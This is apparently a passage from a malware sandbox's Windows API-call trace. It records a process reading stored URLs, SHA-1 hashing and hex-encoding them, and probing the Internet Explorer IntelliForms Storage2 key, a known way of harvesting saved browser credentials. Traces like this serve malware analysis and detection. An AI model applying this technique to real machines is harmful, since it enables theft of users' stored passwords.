lstrcpyW (in: lpString1=0x28e7910, lpString2="7D7A66CFAF3B75023E9FFBA2A5CCC1485399" | out: lpString1="7D7A66CFAF3B75023E9FFBA2A5CCC1485399") returned="7D7A66CFAF3B75023E9FFBA2A5CCC1485399" [0096.904] lstrcatW (in: lpString1="7D7A66CFAF3B75023E9FFBA2A5CCC1485399", lpString2="B1" | out: lpString1="7D7A66CFAF3B75023E9FFBA2A5CCC1485399B1") returned="7D7A66CFAF3B75023E9FFBA2A5CCC1485399B1" [0096.904] LocalFree (hMem=0x28e7670) returned 0x0 [0096.904] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7E") returned 2 [0096.904] lstrlenW (lpString="7D7A66CFAF3B75023E9FFBA2A5CCC1485399B1") returned 38 [0096.904] lstrlenW (lpString="7E") returned 2 [0096.904] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0096.904] lstrcpyW (in: lpString1=0x28e7670, lpString2="7D7A66CFAF3B75023E9FFBA2A5CCC1485399B1" | out: lpString1="7D7A66CFAF3B75023E9FFBA2A5CCC1485399B1") returned="7D7A66CFAF3B75023E9FFBA2A5CCC1485399B1" [0096.905] lstrcatW (in: lpString1="7D7A66CFAF3B75023E9FFBA2A5CCC1485399B1", lpString2="7E" | out: lpString1="7D7A66CFAF3B75023E9FFBA2A5CCC1485399B17E") returned="7D7A66CFAF3B75023E9FFBA2A5CCC1485399B17E" [0096.905] LocalFree (hMem=0x28e7910) returned 0x0 [0096.905] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9C") returned 2 [0096.905] lstrlenW (lpString="7D7A66CFAF3B75023E9FFBA2A5CCC1485399B17E") returned 40 [0096.905] lstrlenW (lpString="9C") returned 2 [0096.905] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0096.905] lstrcpyW (in: lpString1=0x28e7910, lpString2="7D7A66CFAF3B75023E9FFBA2A5CCC1485399B17E" | out: lpString1="7D7A66CFAF3B75023E9FFBA2A5CCC1485399B17E") returned="7D7A66CFAF3B75023E9FFBA2A5CCC1485399B17E" [0096.905] lstrcatW (in: lpString1="7D7A66CFAF3B75023E9FFBA2A5CCC1485399B17E", lpString2="9C" | out: lpString1="7D7A66CFAF3B75023E9FFBA2A5CCC1485399B17E9C") returned="7D7A66CFAF3B75023E9FFBA2A5CCC1485399B17E9C" [0096.905] LocalFree (hMem=0x28e7670) returned 0x0 [0096.905] CryptDestroyHash (hHash=0x4469af0) returned 1 [0096.905] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.905] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0096.905] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0096.905] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0096.905] LocalFree (hMem=0x28e7910) returned 0x0 [0096.905] RegEnumValueW (in: hKey=0x368, dwIndex=0x17, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url27", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.905] StrStrIW (lpFirst="canva.com", lpSrch="?") returned 0x0 [0096.905] StrStrIW (lpFirst="canva.com", lpSrch="http://") returned 0x0 [0096.905] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.906] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.906] lstrlenW (lpString="canva.com") returned 9 [0096.906] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x14, dwFlags=0x0) returned 1 [0096.906] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.906] CryptDestroyHash (hHash=0x4469af0) returned 1 [0096.906] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.906] RegEnumValueW (in: hKey=0x368, dwIndex=0x18, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url26", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.906] StrStrIW (lpFirst="blackboard.com", lpSrch="?") returned 0x0 [0096.906] StrStrIW (lpFirst="blackboard.com", lpSrch="http://") returned 0x0 [0096.906] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.906] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.906] lstrlenW (lpString="blackboard.com") returned 14 [0096.906] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x1e, dwFlags=0x0) returned 1 [0096.907] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.907] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="13") returned 2 [0096.907] lstrlenW (lpString="") returned 0 [0096.907] lstrlenW (lpString="13") returned 2 [0096.907] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7222e70 [0096.907] lstrcpyW (in: lpString1=0x7222e70, lpString2="" | out: lpString1="") returned="" [0096.907] lstrcatW (in: lpString1="", lpString2="13" | out: lpString1="13") returned="13" [0096.907] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4A") returned 2 [0096.907] lstrlenW (lpString="13") returned 2 [0096.907] lstrlenW (lpString="4A") returned 2 [0096.907] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28ca380 [0096.907] lstrcpyW (in: lpString1=0x28ca380, lpString2="13" | out: lpString1="13") returned="13" [0096.907] lstrcatW (in: lpString1="13", lpString2="4A" | out: lpString1="134A") returned="134A" [0096.907] LocalFree (hMem=0x7222e70) returned 0x0 [0096.907] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="85") returned 2 [0096.907] lstrlenW (lpString="134A") returned 4 [0096.907] lstrlenW (lpString="85") returned 2 [0096.907] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c81c0 [0096.907] lstrcpyW (in: lpString1=0x28c81c0, lpString2="134A" | out: lpString1="134A") returned="134A" [0096.907] lstrcatW (in: lpString1="134A", lpString2="85" | out: lpString1="134A85") returned="134A85" [0096.907] LocalFree (hMem=0x28ca380) returned 0x0 [0096.907] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F9") returned 2 [0096.907] lstrlenW (lpString="134A85") returned 6 [0096.907] lstrlenW (lpString="F9") returned 2 [0096.907] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28ca380 [0096.907] lstrcpyW (in: lpString1=0x28ca380, lpString2="134A85" | out: lpString1="134A85") returned="134A85" [0096.907] lstrcatW (in: lpString1="134A85", lpString2="F9" | out: lpString1="134A85F9") returned="134A85F9" [0096.907] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.907] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="26") returned 2 [0096.907] lstrlenW (lpString="134A85F9") returned 8 [0096.907] lstrlenW (lpString="26") returned 2 [0096.907] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c81c0 [0096.907] lstrcpyW (in: lpString1=0x28c81c0, lpString2="134A85F9" | out: lpString1="134A85F9") returned="134A85F9" [0096.907] lstrcatW (in: lpString1="134A85F9", lpString2="26" | out: lpString1="134A85F926") returned="134A85F926" [0096.907] LocalFree (hMem=0x28ca380) returned 0x0 [0096.907] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="50") returned 2 [0096.907] lstrlenW (lpString="134A85F926") returned 10 [0096.907] lstrlenW (lpString="50") returned 2 [0096.908] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf460 [0096.908] lstrcpyW (in: lpString1=0x71cf460, lpString2="134A85F926" | out: lpString1="134A85F926") returned="134A85F926" [0096.908] lstrcatW (in: lpString1="134A85F926", lpString2="50" | out: lpString1="134A85F92650") returned="134A85F92650" [0096.908] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.908] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C5") returned 2 [0096.908] lstrlenW (lpString="134A85F92650") returned 12 [0096.908] lstrlenW (lpString="C5") returned 2 [0096.908] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cfb40 [0096.908] lstrcpyW (in: lpString1=0x71cfb40, lpString2="134A85F92650" | out: lpString1="134A85F92650") returned="134A85F92650" [0096.908] lstrcatW (in: lpString1="134A85F92650", lpString2="C5" | out: lpString1="134A85F92650C5") returned="134A85F92650C5" [0096.908] LocalFree (hMem=0x71cf460) returned 0x0 [0096.908] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FB") returned 2 [0096.908] lstrlenW (lpString="134A85F92650C5") returned 14 [0096.908] lstrlenW (lpString="FB") returned 2 [0096.908] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf460 [0096.908] lstrcpyW (in: lpString1=0x71cf460, lpString2="134A85F92650C5" | out: lpString1="134A85F92650C5") returned="134A85F92650C5" [0096.908] lstrcatW (in: lpString1="134A85F92650C5", lpString2="FB" | out: lpString1="134A85F92650C5FB") returned="134A85F92650C5FB" [0096.908] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.908] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7F") returned 2 [0096.908] lstrlenW (lpString="134A85F92650C5FB") returned 16 [0096.908] lstrlenW (lpString="7F") returned 2 [0096.908] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cfb40 [0096.908] lstrcpyW (in: lpString1=0x71cfb40, lpString2="134A85F92650C5FB" | out: lpString1="134A85F92650C5FB") returned="134A85F92650C5FB" [0096.908] lstrcatW (in: lpString1="134A85F92650C5FB", lpString2="7F" | out: lpString1="134A85F92650C5FB7F") returned="134A85F92650C5FB7F" [0096.908] LocalFree (hMem=0x71cf460) returned 0x0 [0096.908] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AC") returned 2 [0096.908] lstrlenW (lpString="134A85F92650C5FB7F") returned 18 [0096.908] lstrlenW (lpString="AC") returned 2 [0096.908] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0096.908] lstrcpyW (in: lpString1=0x7290b70, lpString2="134A85F92650C5FB7F" | out: lpString1="134A85F92650C5FB7F") returned="134A85F92650C5FB7F" [0096.908] lstrcatW (in: lpString1="134A85F92650C5FB7F", lpString2="AC" | out: lpString1="134A85F92650C5FB7FAC") returned="134A85F92650C5FB7FAC" [0096.908] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.908] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="69") returned 2 [0096.908] lstrlenW (lpString="134A85F92650C5FB7FAC") returned 20 [0096.908] lstrlenW (lpString="69") returned 2 [0096.908] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0096.909] lstrcpyW (in: lpString1=0x72912f0, lpString2="134A85F92650C5FB7FAC" | out: lpString1="134A85F92650C5FB7FAC") returned="134A85F92650C5FB7FAC" [0096.909] lstrcatW (in: lpString1="134A85F92650C5FB7FAC", lpString2="69" | out: lpString1="134A85F92650C5FB7FAC69") returned="134A85F92650C5FB7FAC69" [0096.909] LocalFree (hMem=0x7290b70) returned 0x0 [0096.909] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="02") returned 2 [0096.909] lstrlenW (lpString="134A85F92650C5FB7FAC69") returned 22 [0096.909] lstrlenW (lpString="02") returned 2 [0096.909] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0096.909] lstrcpyW (in: lpString1=0x7290b70, lpString2="134A85F92650C5FB7FAC69" | out: lpString1="134A85F92650C5FB7FAC69") returned="134A85F92650C5FB7FAC69" [0096.909] lstrcatW (in: lpString1="134A85F92650C5FB7FAC69", lpString2="02" | out: lpString1="134A85F92650C5FB7FAC6902") returned="134A85F92650C5FB7FAC6902" [0096.909] LocalFree (hMem=0x72912f0) returned 0x0 [0096.909] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="84") returned 2 [0096.909] lstrlenW (lpString="134A85F92650C5FB7FAC6902") returned 24 [0096.909] lstrlenW (lpString="84") returned 2 [0096.909] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0096.909] lstrcpyW (in: lpString1=0x72912f0, lpString2="134A85F92650C5FB7FAC6902" | out: lpString1="134A85F92650C5FB7FAC6902") returned="134A85F92650C5FB7FAC6902" [0096.909] lstrcatW (in: lpString1="134A85F92650C5FB7FAC6902", lpString2="84" | out: lpString1="134A85F92650C5FB7FAC690284") returned="134A85F92650C5FB7FAC690284" [0096.909] LocalFree (hMem=0x7290b70) returned 0x0 [0096.909] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F2") returned 2 [0096.909] lstrlenW (lpString="134A85F92650C5FB7FAC690284") returned 26 [0096.909] lstrlenW (lpString="F2") returned 2 [0096.909] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815a80 [0096.909] lstrcpyW (in: lpString1=0x2815a80, lpString2="134A85F92650C5FB7FAC690284" | out: lpString1="134A85F92650C5FB7FAC690284") returned="134A85F92650C5FB7FAC690284" [0096.909] lstrcatW (in: lpString1="134A85F92650C5FB7FAC690284", lpString2="F2" | out: lpString1="134A85F92650C5FB7FAC690284F2") returned="134A85F92650C5FB7FAC690284F2" [0096.909] LocalFree (hMem=0x72912f0) returned 0x0 [0096.909] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D0") returned 2 [0096.909] lstrlenW (lpString="134A85F92650C5FB7FAC690284F2") returned 28 [0096.909] lstrlenW (lpString="D0") returned 2 [0096.909] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0096.909] lstrcpyW (in: lpString1=0x2815670, lpString2="134A85F92650C5FB7FAC690284F2" | out: lpString1="134A85F92650C5FB7FAC690284F2") returned="134A85F92650C5FB7FAC690284F2" [0096.909] lstrcatW (in: lpString1="134A85F92650C5FB7FAC690284F2", lpString2="D0" | out: lpString1="134A85F92650C5FB7FAC690284F2D0") returned="134A85F92650C5FB7FAC690284F2D0" [0096.909] LocalFree (hMem=0x2815a80) returned 0x0 [0096.909] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="77") returned 2 [0096.909] lstrlenW (lpString="134A85F92650C5FB7FAC690284F2D0") returned 30 [0096.909] lstrlenW (lpString="77") returned 2 [0096.909] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815a80 [0096.909] lstrcpyW (in: lpString1=0x2815a80, lpString2="134A85F92650C5FB7FAC690284F2D0" | out: lpString1="134A85F92650C5FB7FAC690284F2D0") returned="134A85F92650C5FB7FAC690284F2D0" [0096.910] lstrcatW (in: lpString1="134A85F92650C5FB7FAC690284F2D0", lpString2="77" | out: lpString1="134A85F92650C5FB7FAC690284F2D077") returned="134A85F92650C5FB7FAC690284F2D077" [0096.910] LocalFree (hMem=0x2815670) returned 0x0 [0096.910] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C2") returned 2 [0096.910] lstrlenW (lpString="134A85F92650C5FB7FAC690284F2D077") returned 32 [0096.910] lstrlenW (lpString="C2") returned 2 [0096.910] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0096.910] lstrcpyW (in: lpString1=0x2815670, lpString2="134A85F92650C5FB7FAC690284F2D077" | out: lpString1="134A85F92650C5FB7FAC690284F2D077") returned="134A85F92650C5FB7FAC690284F2D077" [0096.910] lstrcatW (in: lpString1="134A85F92650C5FB7FAC690284F2D077", lpString2="C2" | out: lpString1="134A85F92650C5FB7FAC690284F2D077C2") returned="134A85F92650C5FB7FAC690284F2D077C2" [0096.910] LocalFree (hMem=0x2815a80) returned 0x0 [0096.910] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DC") returned 2 [0096.910] lstrlenW (lpString="134A85F92650C5FB7FAC690284F2D077C2") returned 34 [0096.910] lstrlenW (lpString="DC") returned 2 [0096.910] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0096.910] lstrcpyW (in: lpString1=0x28e7910, lpString2="134A85F92650C5FB7FAC690284F2D077C2" | out: lpString1="134A85F92650C5FB7FAC690284F2D077C2") returned="134A85F92650C5FB7FAC690284F2D077C2" [0096.910] lstrcatW (in: lpString1="134A85F92650C5FB7FAC690284F2D077C2", lpString2="DC" | out: lpString1="134A85F92650C5FB7FAC690284F2D077C2DC") returned="134A85F92650C5FB7FAC690284F2D077C2DC" [0096.910] LocalFree (hMem=0x2815670) returned 0x0 [0096.910] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="14") returned 2 [0096.910] lstrlenW (lpString="134A85F92650C5FB7FAC690284F2D077C2DC") returned 36 [0096.910] lstrlenW (lpString="14") returned 2 [0096.910] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0096.910] lstrcpyW (in: lpString1=0x28e7670, lpString2="134A85F92650C5FB7FAC690284F2D077C2DC" | out: lpString1="134A85F92650C5FB7FAC690284F2D077C2DC") returned="134A85F92650C5FB7FAC690284F2D077C2DC" [0096.910] lstrcatW (in: lpString1="134A85F92650C5FB7FAC690284F2D077C2DC", lpString2="14" | out: lpString1="134A85F92650C5FB7FAC690284F2D077C2DC14") returned="134A85F92650C5FB7FAC690284F2D077C2DC14" [0096.910] LocalFree (hMem=0x28e7910) returned 0x0 [0096.910] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="27") returned 2 [0096.910] lstrlenW (lpString="134A85F92650C5FB7FAC690284F2D077C2DC14") returned 38 [0096.910] lstrlenW (lpString="27") returned 2 [0096.910] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0096.910] lstrcpyW (in: lpString1=0x28e7910, lpString2="134A85F92650C5FB7FAC690284F2D077C2DC14" | out: lpString1="134A85F92650C5FB7FAC690284F2D077C2DC14") returned="134A85F92650C5FB7FAC690284F2D077C2DC14" [0096.910] lstrcatW (in: lpString1="134A85F92650C5FB7FAC690284F2D077C2DC14", lpString2="27" | out: lpString1="134A85F92650C5FB7FAC690284F2D077C2DC1427") returned="134A85F92650C5FB7FAC690284F2D077C2DC1427" [0096.910] LocalFree (hMem=0x28e7670) returned 0x0 [0096.910] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3D") returned 2 [0096.910] lstrlenW (lpString="134A85F92650C5FB7FAC690284F2D077C2DC1427") returned 40 [0096.910] lstrlenW (lpString="3D") returned 2 [0096.910] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0096.910] lstrcpyW (in: lpString1=0x28e7670, lpString2="134A85F92650C5FB7FAC690284F2D077C2DC1427" | out: lpString1="134A85F92650C5FB7FAC690284F2D077C2DC1427") returned="134A85F92650C5FB7FAC690284F2D077C2DC1427" [0096.910] lstrcatW (in: lpString1="134A85F92650C5FB7FAC690284F2D077C2DC1427", lpString2="3D" | out: lpString1="134A85F92650C5FB7FAC690284F2D077C2DC14273D") returned="134A85F92650C5FB7FAC690284F2D077C2DC14273D" [0096.910] LocalFree (hMem=0x28e7910) returned 0x0 [0096.911] CryptDestroyHash (hHash=0x4469af0) returned 1 [0096.911] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.911] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0096.911] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0096.911] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0096.911] LocalFree (hMem=0x28e7670) returned 0x0 [0096.911] RegEnumValueW (in: hKey=0x368, dwIndex=0x19, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url25", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.911] StrStrIW (lpFirst="youku.com", lpSrch="?") returned 0x0 [0096.911] StrStrIW (lpFirst="youku.com", lpSrch="http://") returned 0x0 [0096.911] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.911] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.911] lstrlenW (lpString="youku.com") returned 9 [0096.911] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x14, dwFlags=0x0) returned 1 [0096.911] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.911] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="56") returned 2 [0096.911] lstrlenW (lpString="") returned 0 [0096.912] lstrlenW (lpString="56") returned 2 [0096.912] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7222e70 [0096.912] lstrcpyW (in: lpString1=0x7222e70, lpString2="" | out: lpString1="") returned="" [0096.912] lstrcatW (in: lpString1="", lpString2="56" | out: lpString1="56") returned="56" [0096.912] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B0") returned 2 [0096.912] lstrlenW (lpString="56") returned 2 [0096.912] lstrlenW (lpString="B0") returned 2 [0096.912] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c81c0 [0096.912] lstrcpyW (in: lpString1=0x28c81c0, lpString2="56" | out: lpString1="56") returned="56" [0096.912] lstrcatW (in: lpString1="56", lpString2="B0" | out: lpString1="56B0") returned="56B0" [0096.912] LocalFree (hMem=0x7222e70) returned 0x0 [0096.912] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="63") returned 2 [0096.912] lstrlenW (lpString="56B0") returned 4 [0096.912] lstrlenW (lpString="63") returned 2 [0096.912] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28ca380 [0096.912] lstrcpyW (in: lpString1=0x28ca380, lpString2="56B0" | out: lpString1="56B0") returned="56B0" [0096.912] lstrcatW (in: lpString1="56B0", lpString2="63" | out: lpString1="56B063") returned="56B063" [0096.912] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.912] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="33") returned 2 [0096.912] lstrlenW (lpString="56B063") returned 6 [0096.912] lstrlenW (lpString="33") returned 2 [0096.912] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c81c0 [0096.912] lstrcpyW (in: lpString1=0x28c81c0, lpString2="56B063" | out: lpString1="56B063") returned="56B063" [0096.912] lstrcatW (in: lpString1="56B063", lpString2="33" | out: lpString1="56B06333") returned="56B06333" [0096.912] LocalFree (hMem=0x28ca380) returned 0x0 [0096.912] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2C") returned 2 [0096.912] lstrlenW (lpString="56B06333") returned 8 [0096.912] lstrlenW (lpString="2C") returned 2 [0096.912] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28ca380 [0096.912] lstrcpyW (in: lpString1=0x28ca380, lpString2="56B06333" | out: lpString1="56B06333") returned="56B06333" [0096.912] lstrcatW (in: lpString1="56B06333", lpString2="2C" | out: lpString1="56B063332C") returned="56B063332C" [0096.912] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.912] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0F") returned 2 [0096.912] lstrlenW (lpString="56B063332C") returned 10 [0096.912] lstrlenW (lpString="0F") returned 2 [0096.912] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cfb40 [0096.912] lstrcpyW (in: lpString1=0x71cfb40, lpString2="56B063332C" | out: lpString1="56B063332C") returned="56B063332C" [0096.913] lstrcatW (in: lpString1="56B063332C", lpString2="0F" | out: lpString1="56B063332C0F") returned="56B063332C0F" [0096.913] LocalFree (hMem=0x28ca380) returned 0x0 [0096.913] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A7") returned 2 [0096.913] lstrlenW (lpString="56B063332C0F") returned 12 [0096.913] lstrlenW (lpString="A7") returned 2 [0096.913] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf460 [0096.913] lstrcpyW (in: lpString1=0x71cf460, lpString2="56B063332C0F" | out: lpString1="56B063332C0F") returned="56B063332C0F" [0096.913] lstrcatW (in: lpString1="56B063332C0F", lpString2="A7" | out: lpString1="56B063332C0FA7") returned="56B063332C0FA7" [0096.913] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.913] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0F") returned 2 [0096.913] lstrlenW (lpString="56B063332C0FA7") returned 14 [0096.913] lstrlenW (lpString="0F") returned 2 [0096.913] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cfb40 [0096.913] lstrcpyW (in: lpString1=0x71cfb40, lpString2="56B063332C0FA7" | out: lpString1="56B063332C0FA7") returned="56B063332C0FA7" [0096.913] lstrcatW (in: lpString1="56B063332C0FA7", lpString2="0F" | out: lpString1="56B063332C0FA70F") returned="56B063332C0FA70F" [0096.913] LocalFree (hMem=0x71cf460) returned 0x0 [0096.913] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="81") returned 2 [0096.913] lstrlenW (lpString="56B063332C0FA70F") returned 16 [0096.913] lstrlenW (lpString="81") returned 2 [0096.913] LocalAlloc 